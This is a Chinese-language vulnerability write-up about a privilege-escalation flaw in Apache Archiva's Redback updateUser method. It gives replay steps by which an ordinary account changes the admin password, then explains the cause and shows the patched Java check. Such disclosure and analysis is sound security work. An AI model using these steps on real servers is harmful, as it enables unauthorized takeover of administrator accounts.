漏洞复现

1，创建管理员账号 admin:admin123

2，创建普通账号 user:user123 （勾选 validated）

3，将编辑admin账号密码的包抓取下来

4，登录普通账号 替换值后发送上面抓取的包

5, 使用修改后的密码 登录管理员账号

现在查看 管理员账号admin 的密码是否被我们修改为了user456

漏洞验证成功

漏洞分析

userService 中的updateUser 方法

 

该方法 ，必须要有"user-management-user-edit"权限才能访问，然而我们普通也会有这个权限

跟过去这个实现方法updateUser

可以看到所有的参数均由前端传入， 可以造成越权.............

后续修复

 

public Boolean updateUser(User user) throws RedbackServiceException {
    RedbackRequestInformation redbackRequestInformation = RedbackAuthenticationThreadLocal.get();
    if (redbackRequestInformation != null && redbackRequestInformation.getUser() != null) {
        if (user == null) {
            throw new RedbackServiceException(new ErrorMessage("user parameter is mandatory"), Status.BAD_REQUEST.getStatusCode());
        } else if (!StringUtils.equals(redbackRequestInformation.getUser().getUsername(), user.getUsername()) && !StringUtils.equals(redbackRequestInformation.getUser().getUsername(), "admin")) {
            throw new RedbackServiceException(new ErrorMessage("you can update only your profile"), Status.FORBIDDEN.getStatusCode());
        } else {
            try {
                org.apache.archiva.redback.users.User rawUser = this.userManager.findUser(user.getUsername(), false);
                rawUser.setFullName(user.getFullName());
                rawUser.setEmail(user.getEmail());
                rawUser.setValidated(user.isValidated());
                rawUser.setLocked(user.isLocked());
                rawUser.setPassword(user.getPassword());
                rawUser.setPasswordChangeRequired(user.isPasswordChangeRequired());
                rawUser.setPermanent(user.isPermanent());
                this.userManager.updateUser(rawUser);
                return Boolean.TRUE;
            } catch (UserNotFoundException var4) {
                throw new RedbackServiceException(var4.getMessage());
            } catch (UserManagerException var5) {
                throw new RedbackServiceException(new ErrorMessage(var5.getMessage()));
            }
        }
    } else {
        this.log.warn("RedbackRequestInformation from ThreadLocal is null");
        throw new RedbackServiceException(new ErrorMessage("you must be logged to update your profile"), Status.FORBIDDEN.getStatusCode());
    }
}

可以看到前端传入的Username做了再次的校验对比了redbackRequestInformation的username值
